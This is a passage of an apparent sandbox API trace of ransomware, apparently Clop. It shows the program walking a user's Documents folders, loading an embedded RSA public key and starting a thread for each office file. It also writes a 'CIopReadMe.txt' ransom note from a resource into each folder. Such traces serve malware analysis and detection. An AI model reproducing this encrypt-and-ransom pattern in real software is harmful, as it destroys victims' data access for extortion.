2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.185] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="Qq3R.ots" | out: lpString1="Qq3R.ots") returned="Qq3R.ots" [0093.185] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0093.185] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0xffffffff) returned 0x0 [0093.276] SetErrorMode (uMode=0x1) returned 0x1 [0093.276] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt") returned 106 [0093.276] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0093.276] CloseHandle (hObject=0x494) returned 1 [0093.276] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0093.276] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0093.277] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0093.277] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0093.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0093.277] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c3310 [0093.277] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0093.277] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0093.277] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0093.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0093.277] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0093.277] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0093.277] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.277] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0093.277] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 1 [0093.277] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 0 [0093.278] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0093.278] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0093.278] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0093.278] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0093.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0093.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0093.278] SetErrorMode (uMode=0x1) returned 0x1 [0093.278] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0093.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.278] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0093.278] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c39d0 [0093.278] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0093.279] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0093.279] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.279] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.279] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx", lpString2="..") returned 1 [0093.279] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx", lpString2=".") returned 1 [0093.279] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0093.279] Sleep (dwMilliseconds=0xd) [0093.845] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.845] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="0KK10L8Yj9PSdD5_rlI8.pptx" | out: lpString1="0KK10L8Yj9PSdD5_rlI8.pptx") returned="0KK10L8Yj9PSdD5_rlI8.pptx" [0093.845] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0093.845] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0xffffffff) returned 0x0 [0093.950] SetErrorMode (uMode=0x1) returned 0x1 [0093.950] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0093.950] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.951] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0093.951] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0093.951] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0093.951] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0093.951] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0093.951] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0093.951] WriteFile (in: hFile=0x498, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0093.952] CloseHandle (hObject=0x498) returned 1 [0093.952] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.952] lstrcmpW (lpString1="6w48s.rtf", lpString2="..") returned 1 [0093.952] lstrcmpW (lpString1="6w48s.rtf", lpString2=".") returned 1 [0093.952] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0093.952] Sleep (dwMilliseconds=0xd) [0093.966] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.966] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="6w48s.rtf" | out: lpString1="6w48s.rtf") returned="6w48s.rtf" [0093.966] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0093.966] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0xffffffff) returned 0x0 [0094.015] SetErrorMode (uMode=0x1) returned 0x1 [0094.015] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0094.015] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0094.015] CloseHandle (hObject=0x494) returned 1 [0094.016] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.016] lstrcmpW (lpString1="B-2cmW.doc", lpString2="..") returned 1 [0094.016] lstrcmpW (lpString1="B-2cmW.doc", lpString2=".") returned 1 [0094.016] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0094.016] Sleep (dwMilliseconds=0xd) [0094.047] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.047] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="B-2cmW.doc" | out: lpString1="B-2cmW.doc") returned="B-2cmW.doc" [0094.047] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0094.048] SetErrorMode (uMode=0x1) returned 0x1 [0094.048] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0094.048] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0094.048] CloseHandle (hObject=0x494) returned 1 [0094.048] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.048] lstrcmpW (lpString1="CQjd3NSx.ppt", lpString2="..") returned 1 [0094.048] lstrcmpW (lpString1="CQjd3NSx.ppt", lpString2=".") returned 1 [0094.048] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0094.048] Sleep (dwMilliseconds=0xd) [0094.075] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.075] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="CQjd3NSx.ppt" | out: lpString1="CQjd3NSx.ppt") returned="CQjd3NSx.ppt" [0094.075] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0094.075] SetErrorMode (uMode=0x1) returned 0x1 [0094.075] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0094.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0094.075] CloseHandle (hObject=0x47c) returned 1 [0094.076] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.076] lstrcmpW (lpString1="DYnSH7i.xls", lpString2="..") returned 1 [0094.076] lstrcmpW 